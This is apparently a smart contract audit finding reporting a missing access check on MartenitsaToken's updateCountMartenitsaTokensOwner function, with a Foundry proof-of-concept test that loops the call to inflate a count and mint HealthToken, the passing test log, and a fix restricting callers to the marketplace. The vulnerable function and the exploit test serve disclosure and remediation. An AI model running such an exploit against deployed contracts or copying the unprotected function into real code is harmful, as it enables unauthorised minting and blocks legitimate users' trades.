Description The MartenitsaToken:updateCountMartenitsaTokensOwner
function is missing access control allowing any user to update this value for any other user.
function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
Impact Any user will be able to mint an unlimited amount of Health tokens as well as prevent valid users from minting earned Health tokens or making trades. Someone could also lower the countMartenitsaTokensOwner
for any other user causing an underflow revert on valid exchange trades.
Proof Of Concept
If a user calls this function in a loop they can adjust the countMartenitsaTokensOwner
to any amount they want then call MartenitsaMarketplace:collectReward
to mint HealthToken
.
Place the following test in BaseTest.t.sol
function testUpdateCountMintHealthToken() public createMartenitsa {
vm.startPrank(bob);
for (uint256 i = 0; i < 100; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
}
marketplace.collectReward();
vm.stopPrank();
console.log("bob Health Token Balance ", healthToken.balanceOf(bob));
console.log("bob's new count", martenitsaToken.getCountMartenitsaTokensOwner(bob));
}
console log
[PASS] testUpdateCountMintHealthToken() (gas: 490149)
Logs:
bob Health Token Balance 33000000000000000000
bob new count 100
Recommended Mitigation: Add a check to make sure only the MartenitsaMarketplace
can call the function MartenitsaToken:updateCountMartenitsaTokensOwner
.
function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ require(msg.sender == address(_martenitsaMarketplace), "Unable to call this function");
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}